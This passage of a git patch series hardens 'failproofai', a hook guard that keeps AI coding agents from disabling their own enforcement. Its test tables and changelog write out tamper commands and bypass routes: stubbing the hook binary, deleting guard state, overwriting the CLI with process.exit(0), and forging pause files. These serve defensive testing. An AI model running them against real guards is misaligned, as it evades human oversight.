after pushd", "pushd node_modules/.bin && cp /tmp/stub.sh failproofai"], + ["chmod after cd", "cd node_modules/.bin && chmod +x failproofai"], + ["two relative cds", "cd node_modules && cd .bin && cp /tmp/stub.sh failproofai"], + ["a cd outside a subshell that ran its own", "cd node_modules/.bin && (cd /tmp && ls) && cp /tmp/stub.sh failproofai"], + ["a copy of a file named failproofai into the directory", "cd node_modules/.bin && cp /tmp/stage/failproofai ."], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // A glob replaces the entry wherever it already exists, whatever path + // leads to it, so the candidates are tried against every stretch of it. + it.each([ + ["a parent directory", "cp /tmp/stub.sh ../node_modules/.bin/fail*"], + ["home", "cp /tmp/stub.sh ~/node_modules/.bin/fail*"], + ["an absolute path", "cp /tmp/stub.sh /work/proj/node_modules/.bin/fail*"], + // `/home/u/.failproofai` is a candidate itself; another home is not. + ["the state, by an absolute path", "rm -rf /home/alice/.failproof*"], + ])("denies a glob onto the entry through %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // npm's bin directory itself: whatever a directory moved, linked or copied + // onto it holds becomes an entry, and npx searches every parent's. + it.each([ + ["a link over home's", "ln -s /tmp/stage ~/node_modules/.bin"], + ["a move", "mv /tmp/stage node_modules/.bin"], + ["a recursive copy", "cp -r /tmp/stage/ node_modules/.bin/"], + ["a copy onto it with -T", "cp -rT /tmp/stage node_modules/.bin"], + ["a copy of a directory's contents", "cp -a /tmp/stage/. node_modules/.bin/"], + ["rsync of a directory's contents", "rsync -a /tmp/stage/ node_modules/.bin/"], + ["a build directory, which becomes the directory when it is missing", "cp -r dist/ node_modules/.bin/"], + ])("denies %s onto node_modules/.bin", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + it.each([ ["running another package's binary", "./node_modules/.bin/vitest run"], ["running a binary through node", "node node_modules/.bin/eslint src"], @@ -201,9 +280,21 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["adding a dev dependency", "npm i -D vitest"], ["copying another tool into the directory", "cp /tmp/stage/my-tool node_modules/.bin/"], ["copying an entry out", "cp node_modules/.bin/failproofai /tmp/inspect"], - ["copying a whole build directory", "cp -r dist/ node_modules/.bin/"], + ["copying an entry out into a directory", "cp node_modules/.bin/failproofai /tmp/inspect/"], ["moving a source file", "mv src/failproofai.ts src/guard.ts"], ["backing a directory up", "cp -r node_modules/.bin /tmp/bin-backup"], + ["backing the state up into a directory", "cp -r ~/.failproofai /tmp/backup/"], + ["backing the state up with a redirect", "cp ~/.failproofai/config.json /tmp/backup.json 2>/dev/null"], + ["reading the state with a redirect", "cat ~/.failproofai/config.json 2>/dev/null"], + // A value is not a source. + ["installing a binary owned by a user of that name", "install -o failproofai -g failproofai -m 0755 build/agentd /usr/local/bin/"], + ["creating directories owned by a user of that name", "install -d -o failproofai /srv/app/bin"], + // `.bin` starts a path component, or it is another name. + ["copying a file onto one whose name ends in .bin", "cp failproofai release.bin"], + ["running a binary after a cd", "cd node_modules/.bin && ./vitest run"], + ["a cd that a subshell undoes", "(cd node_modules/.bin && ls) && cp /tmp/stub.sh failproofai"], + ["copying a tool after a cd", "cd node_modules/.bin && cp /tmp/stage/my-tool ."], + ["clearing a tree's .bin directories", "rm -rf ~/projects/*/node_modules/.bin/*"], ])("allows %s", async (_label, command) => { expect(await bash(command)).not.toBe("deny"); }); @@ -215,7 +306,8 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs // file no hook runs. it("protects the name every project-scope npx hook command runs", async () => { const names = new Set(); - let shellIntegrations = 0; + const viaNpx: string[] = []; + const otherwise: string[] = []; for (const integration of listIntegrations()) { if (!integration.scopes.includes("project")) continue; let found = false; @@ -226,8 +318,14 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs found = true; } } - if (found) shellIntegrations++; + (found ? viaNpx : otherwise).push(integration.id); } + // A new integration, or a new launcher (`npx --yes`, `bunx`), lands in one + // of these lists and fails here until the guard is checked against it. + expect(viaNpx.sort()).toEqual(["antigravity", "claude", "codex", "copilot", "cursor", "devin", "factory", "goose"]); + // OpenCode runs npx from the shim checked below; Pi loads the extension by + // a package path, which runs the CLI next to it, not through npx. + expect(otherwise.sort()).toEqual(["opencode", "pi"]); // OpenCode's entry is a plugin path; the npx call is inside the shim that // install writes next to it. const dir = mkdtempSync(join(tmpdir(), "fpai-npx-guard-opencode-")); @@ -244,8 +342,6 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs cwd.mockRestore(); rmSync(dir, { recursive: true, force: true }); } - // Claude, Codex, Copilot, Cursor, Factory, Devin, Antigravity and Goose. - expect(shellIntegrations).toBeGreaterThanOrEqual(8); expect([...names]).toEqual(["failproofai"]); for (const name of names) { expect((await write(`/work/proj/node_modules/.bin/${name}`)).decision).toBe("deny"); diff --git a/docs/policies/local-configuration.mdx b/docs/policies/local-configuration.mdx index 4fd54d444..3f4f9e4ed 100644 --- a/docs/policies/local-configuration.mdx +++ b/docs/policies/local-configuration.mdx @@ -22,7 +22,7 @@ failproofai policies Not every harness supports local scope; the CLI rejects a scope the selected harness cannot represent. -Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path. npx runs a `failproofai` the project itself provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`, and it applies the project's `.npmrc`. `block-failproofai-commands` refuses an agent's writes to `node_modules/.bin/failproofai`, but it does not read `package.json` or `.npmrc` edits. User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so nothing in a repository changes what they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. +Project-scope hooks run `npx -y failproofai`, so the committed file names no machine's path. npx runs a `failproofai` the project provides before the installed one: `node_modules/.bin/failproofai` in the project or any directory above it, or a `failproofai` entry in the project's `package.json` `bin`. It also applies the project's `.npmrc` and your own `~/.npmrc`. `block-failproofai-commands` refuses agent commands and file edits that write `node_modules/.bin/failproofai` or put a directory onto a `node_modules/.bin`. It does not refuse a dependency install or an edit to `package.json` or `.npmrc`, any of which can replace what the hook runs. User-scope hooks, which `failproofai config` installs, run the installed CLI by its absolute path, so a repository does not decide which CLI they run: where an agent must not be able to change its own enforcement from inside a repository, keep its user-scope hooks installed. Which pack policies are on is **not** scoped. The switch is recorded with the installed pack, so `failproofai policies add ` turns a policy on for the whole machine, whatever `--scope` says. diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 34c88d375..4b0464b1c 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -512,10 +512,11 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // npx cache). With the shims npm (`.cmd`, `.ps1`) and bun (`.exe`, `.bunx`) // write beside it on Windows. Not anchored on `node_modules`, so the // relative `.bin/failproofai` a command run from inside `node_modules` - // names is the same file. A FILE, like the entry above: the rest of - // `node_modules/.bin` (every other package's binary, run by path all the - // time) stays out of it. - String.raw`\.bin[\\/](?:\.?[\\/])*failproofai(?:\.(?:cmd|ps1|exe|bunx))?(?![\w.@\\/-])`, + // names is the same file; anchored on the start of a path component, so + // `firmware.bin/failproofai` is not it. A FILE, like the entry above: the + // rest of `node_modules/.bin` (every other package's binary, run by path + // all the time) stays out of it. + String.raw`(? = { + cp: { short: "St", long: ["suffix", "target-directory", "sparse", "no-preserve"] }, + mv: { short: "St", long: ["suffix", "target-directory"] }, + ln: { short: "St", long: ["suffix", "target-directory"] }, + install: { short: "mogSt", long: ["mode", "owner", "group", "suffix", "target-directory", "strip-program"] }, + rsync: { + short: "efTBM", + long: [ + "rsh", "filter", "exclude", "include", "exclude-from", "include-from", "files-from", "temp-dir", + "partial-dir", "backup-dir", "suffix", "compare-dest", "copy-dest", "link-dest", "chmod", "chown", + "usermap", "groupmap", "block-size", "max-size", "min-size", "timeout", "contimeout", "port", + "log-file", "out-format", "remote-option", "bwlimit", "rsync-path", "password-file", "info", "debug", + ], + }, +}; + +/** + * npm's bin directory: `node_modules/.bin`, or `.bin` alone once a `cd` put the + * shell in `node_modules`. A directory moved, linked or copied recursively ONTO + * it brings entries the line never names: `ln -s /tmp/stage ~/node_modules/.bin` + * hands every project under `~` without its own entry a `failproofai` from + * `/tmp/stage`, because npx searches each parent's `.bin` (#1795). */ -const INTO_DIRECTORY_COMMANDS = new Set(["cp", "mv", "ln", "install", "rsync"]); +const NPM_BIN_DIRECTORY_RE = /(?:^|[\\/])\.bin$/i; /** * Commands that write EVERY path operand they are given. @@ -875,6 +903,9 @@ const STATE_GLOB_CANDIDATES = [ ".bin/failproofai", ]; +/** How many `/`-separated segments the deepest glob candidate has. */ +const GLOB_CANDIDATE_DEPTH = Math.max(...STATE_GLOB_CANDIDATES.map((candidate) => candidate.split("/").length)); + /** * Ordinary paths a targeted pattern must NOT be able to match. * @@ -1067,6 +1098,17 @@ function wordNamesState(word: string): boolean { for (let end = 1; end <= segments.length; end++) { if (globPrefixNamesState(segments.slice(0, end).join("/"))) return true; } + // And every stretch that starts after a `/`, since the candidates are the + // TAILS of the paths they stand for: `/home/u/.failproof*` and + // `/work/proj/node_modules/.bin/fail*` begin with a prefix no candidate + // spells, so as whole words they named nothing (FailproofAI/agenteye#1795). + // A stretch longer than the deepest candidate cannot equal one. + for (let start = 1; start < segments.length; start++) { + const last = Math.min(segments.length, start + GLOB_CANDIDATE_DEPTH); + for (let end = start + 1; end <= last; end++) { + if (globPrefixNamesState(segments.slice(start, end).join("/"))) return true; + } + } return false; } @@ -1301,9 +1343,20 @@ function commandBasename(token: string): string { * and return the tokens from the command word on. Mirrors the walk in * `classifySelfInvocation` — the same prefixes hide a deleter that hid the * binary, and `xargs -0 rm -f` is the one that matters most here. + * + * After the command word, redirects and a comment are not arguments either. + * They were returned as words, so the copy checks took the LAST one for the + * destination: `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` + * judged `2>/dev/null`, and `… # note` judged `note`, and both walked through. + * A redirect's target is judged by the redirect scan, not here. */ function commandWords(simpleCommand: string): string[] { - const tokens = simpleCommand.trim().split(/\s+/).map(bareToken).filter(Boolean); + const all = simpleCommand + .trim() + .split(/\s+/) + .map((raw) => ({ raw, token: bareToken(raw) })) + .filter(({ token }) => token !== ""); + const tokens = all.map(({ token }) => token); let i = 0; while (i < tokens.length) { const token = tokens[i]; @@ -1322,50 +1375,118 @@ function commandWords(simpleCommand: string): string[] { if (!skippable) break; i++; } - return tokens.slice(i); + const words: string[] = []; + for (let j = i; j < all.length; j++) { + // Read as the shell does, unquoted: `">"` and `"#"` are arguments. + const { raw, token } = all[j]; + if (raw.startsWith("#")) break; + if (j > i && /^\d*(?:>{1,2}\|?|<{1,3})/.test(raw)) { + if (/^\d*(?:>{1,2}\|?|<{1,3})$/.test(raw)) j++; + continue; + } + words.push(token); + } + return words; } /** - * True when a copy, move or link would leave one of its sources at a protected - * path inside the directory it writes into (see `INTO_DIRECTORY_COMMANDS`). + * True when a copy, move or link writes a protected path that its words never + * spell (see `INTO_DIRECTORY_OPTIONS`), or puts a directory onto npm's bin + * directory (see `NPM_BIN_DIRECTORY_RE`). * - * The directory is `-t` / `--target-directory`'s value, or else the last - * operand. Whether that operand really is a directory is not checked: when it - * is a file, `/` is a path nothing writes, and it can only match - * when a source is itself named like a protected file and the operand like the - * directory that holds it. A source that is ALREADY a protected path is left to - * the destination check it always had: `cp -r ~/.failproofai /tmp/backup/` - * lands at `/tmp/backup/.failproofai`, a name the state pattern matches, and is - * a backup, not a write onto anything. `rsync src/` copies what is IN `src`, - * whose names are not on the line, so a source with a trailing separator is - * judged by nothing here, as a whole directory moved over a parent never was. + * The destination is `-t`'s value in any spelling (`-t DIR`, `-tDIR`, `-vt DIR`, + * `--target-directory=DIR`, `--target DIR`), or else the last operand. Each + * source is judged where it would land, `/`. Whether the + * destination really is a directory is not checked: when it is a file, that + * path is one nothing writes, and it matches only when a source is named like a + * protected file and the destination like the directory that holds one. + * + * A source that is itself protected is a copy OUT, so it counts only when it + * lands on installed code: `cp -r ~/.failproofai /tmp/backup/` lands at + * `/tmp/backup/.failproofai`, which the state pattern matches by name, and is a + * backup; `cp /tmp/bin/failproofai node_modules/.bin/` is not, however its + * source is spelled. A source ending in a separator copies what is IN it, whose + * names are not on the line, so it is judged only through the bin-directory + * check. `inShell` resolves a relative word against a `cd` the walk followed. */ -function landsInDirectoryAs(words: string[], namesState: (text: string) => boolean): boolean { - if (words.length === 0 || !INTO_DIRECTORY_COMMANDS.has(commandBasename(words[0]))) return false; - const args = words.slice(1); +function landsInDirectoryAs( + words: string[], + namesState: (text: string) => boolean, + inShell: (word: string) => string = (word) => word, +): boolean { + if (words.length === 0) return false; + const head = commandBasename(words[0]); + const options = INTO_DIRECTORY_OPTIONS[head]; + if (!options) return false; const operands: string[] = []; let directory: string | undefined; + let createsDirectories = false; + let recursive = false; + let ontoItself = false; + const args = words.slice(1); for (let i = 0; i < args.length; i++) { const arg = args[i]; if (arg === "--") { operands.push(...args.slice(i + 1)); break; } - if (arg === "-t" || arg === "--target-directory") { - directory = args[++i]; - } else if (arg.startsWith("--target-directory=")) { - directory = arg.slice("--target-directory=".length); - } else if (!arg.startsWith("-")) { - operands.push(arg); + if (arg.startsWith("--")) { + const eq = arg.indexOf("="); + const name = arg.slice(2, eq === -1 ? undefined : eq); + const value = eq === -1 ? undefined : arg.slice(eq + 1); + // GNU takes any unambiguous prefix: `--target DIR` is `--target-directory`. + if (head !== "rsync" && name.length > 0 && "target-directory".startsWith(name)) { + directory = value ?? args[++i]; + } else if (options.long.includes(name)) { + if (value === undefined) i++; + } else if (name === "recursive" || name === "archive") { + recursive = true; + } else if (name === "no-target-directory") { + ontoItself = true; + } else if (head === "install" && name.length > 1 && "directory".startsWith(name)) { + createsDirectories = true; + } + continue; + } + if (arg.startsWith("-") && arg.length > 1) { + for (let c = 1; c < arg.length; c++) { + const flag = arg[c]; + if (options.short.includes(flag)) { + // The rest of the cluster is the value, or else the next word is. + const value = c + 1 < arg.length ? arg.slice(c + 1) : args[++i]; + if (flag === "t" && head !== "rsync") directory = value; + break; + } + if (flag === "r" || flag === "R" || flag === "a") recursive = true; + if (flag === "T" && head !== "rsync") ontoItself = true; + if (flag === "d" && head === "install") createsDirectories = true; + } + continue; } + operands.push(arg); + } + if (createsDirectories) return false; + + // `ln -s ` alone links it into the current directory. + const sources = directory !== undefined ? operands : head === "ln" && operands.length === 1 ? operands : operands.slice(0, -1); + const written = directory ?? (head === "ln" && operands.length === 1 ? "." : operands[operands.length - 1]); + if (written === undefined || sources.length === 0) return false; + const destination = inShell(written); + if (directory === undefined && namesState(destination)) return true; + + const into = destination.replace(/(?:[\\/]+\.?)+$/, ""); + if (NPM_BIN_DIRECTORY_RE.test(into)) { + if (head === "mv" || head === "ln") return true; + if (recursive || ontoItself || sources.some((s) => /[\\/]\.?$/.test(s))) return true; } - const sources = directory === undefined ? operands.slice(0, -1) : operands; - const into = (directory ?? operands[operands.length - 1] ?? "").replace(/[\\/]+$/, ""); - if (into === "") return false; + if (into === "" || ontoItself) return false; return sources.some((source) => { - if (/[\\/]$/.test(source) || namesState(source)) return false; + if (/[\\/]$/.test(source)) return false; const name = source.slice(Math.max(source.lastIndexOf("/"), source.lastIndexOf("\\")) + 1); - return name !== "" && name !== "." && name !== ".." && namesState(`${into}/${name}`); + if (name === "" || name === "." || name === "..") return false; + const landing = `${into}/${name}`; + if (!namesState(landing)) return false; + return !namesState(inShell(source)) || FAILPROOFAI_CODE_PATH_RE.test(landing); }); } @@ -1561,6 +1682,18 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // was denying a cleanup in an entirely unrelated directory. let parenDepth = 0; let cdParenDepth: number | null = null; + // Where the `cd`s so far put the shell, as written, when the walk can tell. + // A protected FILE sits in a directory nothing protects, so `cwdInState` never + // fires for it: `cd node_modules/.bin && printf 'exit 0' > failproofai` names + // `node_modules/.bin/failproofai` only once `failproofai` is read from there + // (FailproofAI/agenteye#1795). The patterns match the tail of a path, so a + // relative `cd` needs no starting directory. A subshell's `cd` is undone + // when it closes, which `shellDirScopes` remembers. + let shellDir: string | undefined; + const shellDirScopes: Array<{ depth: number; dir: string | undefined }> = []; + const inShell = (word: string): string => + shellDir === undefined || word === "" || /^(?:[~/\\$]|[A-Za-z]:)/.test(word) ? word : `${shellDir}/${word}`; + const namesHere = (text: string): boolean => namesState(text) || (shellDir !== undefined && namesState(inShell(text))); // A loop header hands its word list to the body, and the body is a separate // pipeline that names nothing. Without this, `for f in ~/.failproofai/*; do // rm -rf $f; done` is a header that only expands and a body that only deletes @@ -1579,9 +1712,9 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // `grep -r sudo ~/.failproofai 2>/dev/null` and // `cat ~/.failproofai/config.json > /tmp/backup.json` both denied, which is // exactly the diagnosis this guard must not block. - if (reachesState) { + if (reachesState || shellDir !== undefined) { for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { - if (namesState(target.replace(/^["']|["']$/g, ""))) return true; + if (namesHere(target.replace(/^["']|["']$/g, ""))) return true; } } @@ -1593,19 +1726,27 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // every later relative path a state path, and a `cd` back out ends that. if (head === "cd" || head === "pushd") { const operand = words.slice(1).find((w) => !w.startsWith("-")); - cwdInState = operand !== undefined && namesState(operand); + cwdInState = operand !== undefined && namesHere(operand); cdParenDepth = cwdInState ? parenDepth : null; + if (parenDepth > 0) shellDirScopes.push({ depth: parenDepth, dir: shellDir }); + // No operand is home; `cd -` goes somewhere the walk cannot see. + shellDir = operand === undefined ? "~" : operand === "-" ? undefined : inShell(operand); } else if (head === "popd") { // `popd` returns to wherever the shell was before `pushd`, which ends // the window as surely as a `cd` out does. Without it every command for // the rest of the line was judged as if it stood in the state directory. cwdInState = false; cdParenDepth = null; - } else if (landsInDirectoryAs(words, namesState)) { + shellDir = undefined; + } else if (landsInDirectoryAs(words, namesState, inShell)) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. return true; - } else if (reachesState && words.length > 0 && simpleCommandDestroys(words, namesState)) { + } else if ( + (reachesState || (shellDir !== undefined && words.some((w) => namesHere(w)))) && + words.length > 0 && + simpleCommandDestroys(words, namesHere) + ) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` // still runs inside the subshell it closes. return true; @@ -1615,6 +1756,9 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { cwdInState = false; cdParenDepth = null; } + while (shellDirScopes.length > 0 && parenDepth < shellDirScopes[shellDirScopes.length - 1].depth) { + shellDir = shellDirScopes.pop()!.dir; + } } } return false; From 87045a6ca506f6783ab910c179474ac92717313e Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 17:47:08 +0530 Subject: [PATCH 09/60] [hooks] CHANGELOG: move #1050's lines to 1.0.18-beta.0 (1.0.17 shipped) v1.0.17 was published at 11:16 UTC, and release-announcement.mjs collects ## 1.0.18 plus its -beta.* sections, so lines left under ## 1.0.17 would miss the next announcement. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index fe47760fb..4f43d2ccf 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,12 @@ # Changelog +## 1.0.18-beta.0 — 2026-11-24 + +### Fixes + +- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) + ## 1.0.17 — 2026-11-24 ### Fixes @@ -29,8 +36,6 @@ - Setup's summary on a Cloud-managed machine says "Deploy from Cloud" instead of pointing at installing a pack (#1033) - The first `failproofai config` on a new version (a fresh install, or the first after `npm i -g failproofai`) finishes the upgrade the way `failproofai update` does: it migrates Hermes profiles and restarts running, service-managed Hermes and OpenClaw gateways so they load the plugin now on disk. A later setup that plugs in a profile created since restarts that profile's gateway. Setup used to leave a gateway that was already running on the plugin it loaded before, or with none, until someone ran `update` (#1033) - A desired-state response the daemon refuses (an unknown `schemaVersion`, or a payload that does not decode) no longer applies its `machineLogs` or `logRequest` first: it used to clear an org's troubleshooting-off and start a log upload on the way to being rejected; the last valid answer now stands (#1033) -- The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ### Dependencies From 2baab1c8ac95a9ae0b58ab39637c0da53cfa6498 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:17:00 +0530 Subject: [PATCH 10/60] [hooks] Address second review: quoted words, cd cost, false positives (#1795) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit A fresh review of 248036ec found two regressions, a slowdown and new false positives; all are reproduced in the test file (159 cases: 100 fail on #1050's head, all pass here). - The redirect/comment-trimmed word list cut real words after a quoted `#` or `<` (`find ~/.failproofai -name 'x #' -o -delete` was allowed). The walk now judges the full and the trimmed list and denies when either does. `{fd}>` redirects are recognised. - The .bin pattern accepts anything that is not part of a name before it, and a glued short option (`>.bin/…`, `-O.bin/…`). - Performance: the shell's directory is kept as its last 16 segments with `.` and `..` resolved, words are resolved only when they or the directory spell failproof or are globs, and results are memoised. A 700-step cd script fell from 28.9 s to about 30 ms; the glob prefix loop stops at the deepest candidate (a 2,000-segment glob: 1.7 s to 60 ms). - False positives: only npm's node_modules/.bin counts as the bin directory (`mv tool ~/.bin/` is allowed), `ln` with a trailing `/` and any `-t` cannot create it, and mid-path glob stretches are tried only against multi-segment candidates (`rm -rf models/*ai`, `sed -i 's/.*ai/X/'`). Other users' homes are matched as /home/u. - Also closed: pushd/popd stack, `cd -`, `$PWD`, variables the line assigns (so `X=ai; rm -rf ~/.failproof$X` is caught: state-guard's known-gap line moves to the new file, as #1053 does), quotes around parentheses, `..`, abbreviated long options and rsync's full value-taking list, glob sources and a directory named .bin moved into a node_modules, and the session's cwd (or Antigravity's run_command cwd) as the starting directory. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 90 ++++++ __tests__/hooks/state-guard.test.ts | 3 +- src/hooks/builtin-policies.ts | 297 ++++++++++++++------ 3 files changed, 302 insertions(+), 88 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 69a2c276a..750dd32c8 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -30,6 +30,9 @@ const policy = BUILTIN_POLICIES.find((p) => p.name === "block-failproofai-comman const bash = async (command: string) => (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command } }))).decision; +const bashIn = async (cwd: string, command: string) => + (await policy.fn(makeCtx({ toolName: "Bash", toolInput: { command }, session: { cwd } }))).decision; + const write = async (file_path: string, cwd?: string) => policy.fn( makeCtx({ @@ -266,6 +269,52 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs expect(await bash(command)).toBe("deny"); }); + // A word is read without knowing whether it sits in quotes, so a quoted + // `#` or `<` must not hide the words after it. + it.each([ + ["a quoted # before an output flag", "curl -sS -H 'X-Ticket: #1795' -o ~/.failproofai/policies-config.json https://example.com/c"], + ["a quoted # before -delete", "find ~/.failproofai -name 'x #' -o -delete"], + ["a quoted # before tee's file", "printf 'exit 0' | tee 'a #' node_modules/.bin/failproofai"], + ["a quoted < in an option value", 'cp /tmp/stub.sh --suffix "y < " node_modules/.bin/failproofai'], + ["a {fd} redirect after the destination", "cp /tmp/stub.sh node_modules/.bin/failproofai {fd}>/dev/null"], + ["an abbreviated option's value after the destination", "cp /dev/null ~/.failproofai/policies-config.json --suf x"], + ["an rsync option's value after the destination", "rsync /tmp/stub.sh node_modules/.bin/failproofai --max-delete 5"], + ["a .. that steps back into .bin", "cp /tmp/stub.sh node_modules/.bin/x/../failproofai"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // Paths built from what the same line assigns, and the shell's position + // carried through every way a shell moves it. + it.each([ + ["a variable holding the directory", "D=node_modules/.bin; cp /tmp/stub.sh $D/failproofai"], + ["a variable spliced into the state", "X=ai; rm -rf ~/.failproof$X"], + ["a variable holding npm's bin directory", "B=~/node_modules/.bin; ln -s /tmp/stage $B"], + ["a cd into a variable", "D=node_modules/.bin; cd $D && cp /tmp/stub.sh failproofai"], + ["$PWD after a cd", "cd node_modules/.bin && cp /tmp/stub.sh $PWD/failproofai"], + ["popd back to the directory", "pushd node_modules/.bin && pushd /tmp && popd && cp /tmp/stub.sh failproofai"], + ["cd - back to the directory", "cd node_modules/.bin && cd /tmp && cd - && cp /tmp/stub.sh failproofai"], + ["parentheses inside quotes", 'echo "(" && cd node_modules/.bin && echo ")" && cp /tmp/stub.sh failproofai'], + ["a directory named .bin moved into a node_modules", "mv /tmp/x/.bin ~/node_modules/"], + ["a glob of sources into the directory", "cp /tmp/stage/* node_modules/.bin/"], + ["a glob of sources after -t", "cp -t node_modules/.bin /tmp/stage/*"], + ["an abbreviated --recursive", "cp --rec /tmp/stage ~/node_modules/.bin"], + ])("denies %s", async (_label, command) => { + expect(await bash(command)).toBe("deny"); + }); + + // The session's directory is where the command starts: a `cd` in an + // earlier call persists. + it.each([ + ["/work/proj/node_modules/.bin", "cp /tmp/stub.sh failproofai"], + ["/work/proj/node_modules/.bin", "printf 'exit 0' > failproofai"], + ["/work/proj/node_modules", "echo 'exit 0' >.bin/failproofai"], + ["/work/proj/node_modules", "printf x 2>.bin/failproofai"], + ["/work/proj/node_modules", "wget -q -O.bin/failproofai https://example.com/x"], + ])("denies a write from the session directory %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).toBe("deny"); + }); + it.each([ ["running another package's binary", "./node_modules/.bin/vitest run"], ["running a binary through node", "node node_modules/.bin/eslint src"], @@ -295,9 +344,50 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a cd that a subshell undoes", "(cd node_modules/.bin && ls) && cp /tmp/stub.sh failproofai"], ["copying a tool after a cd", "cd node_modules/.bin && cp /tmp/stage/my-tool ."], ["clearing a tree's .bin directories", "rm -rf ~/projects/*/node_modules/.bin/*"], + // Somebody's own `~/.bin` is not npm's. + ["moving a tool into ~/.bin", "mv /tmp/tool ~/.bin/"], + ["linking a script into ~/.bin", "ln -s ~/dotfiles/scripts/deploy ~/.bin/"], + ["copying scripts into ~/.bin", "cp -r ./scripts/ ~/.bin/"], + ["syncing dotfiles into ~/.bin", "rsync -a dotfiles/bin/ ~/.bin/"], + ["moving a binary into a project's .bin", "mv golangci-lint .bin/"], + // `ln` cannot create a directory given a trailing `/`. + ["linking a package's CLI into node_modules/.bin/", "ln -s ../my-pkg/cli.js node_modules/.bin/"], + // A one-segment glob below another directory is not aimed at the state. + ["a glob ending in ai", "rm -rf models/*ai"], + ["a glob ending in i", "rm -f out/*i"], + ["a glob around proof", "rm -rf vendor/*proof*"], + ["a dotfile glob in a cache", "rm -rf ~/.cache/.f*"], + ["a sed program that looks like a glob", "sed -i 's/.*ai/X/' notes.txt"], + ["a commit message with a #", "git commit -m 'fix #12: cp a b'"], + ["a loop copying files out", "for f in *.txt; do cp $f /tmp/; done"], + ["a cd and a build", "cd packages/api && npm run build"], + ["clearing a scratch directory", "cd /tmp && rm -rf *"], ])("allows %s", async (_label, command) => { expect(await bash(command)).not.toBe("deny"); }); + + it.each([ + ["a checkout of failproofai itself", "/home/u/src/failproofai", "npm test"], + ["a checkout of failproofai itself", "/home/u/src/failproofai", "rm -rf dist"], + ["node_modules/.bin", "/work/proj/node_modules/.bin", "cp README.md /tmp/"], + ["node_modules/.bin", "/work/proj/node_modules/.bin", "./vitest run"], + ])("allows ordinary work from %s", async (_label, cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + + // The walk runs on every tool call, and one evaluation holds up every hook + // on the machine. A directory that grew with each `cd` made later words + // slower to judge without bound (28.9 s for the first input in review). + it.each([ + ["a script of 700 cd / build / cd ../.. steps", "bash <<'EOF'\n" + Array.from({ length: 700 }, (_, 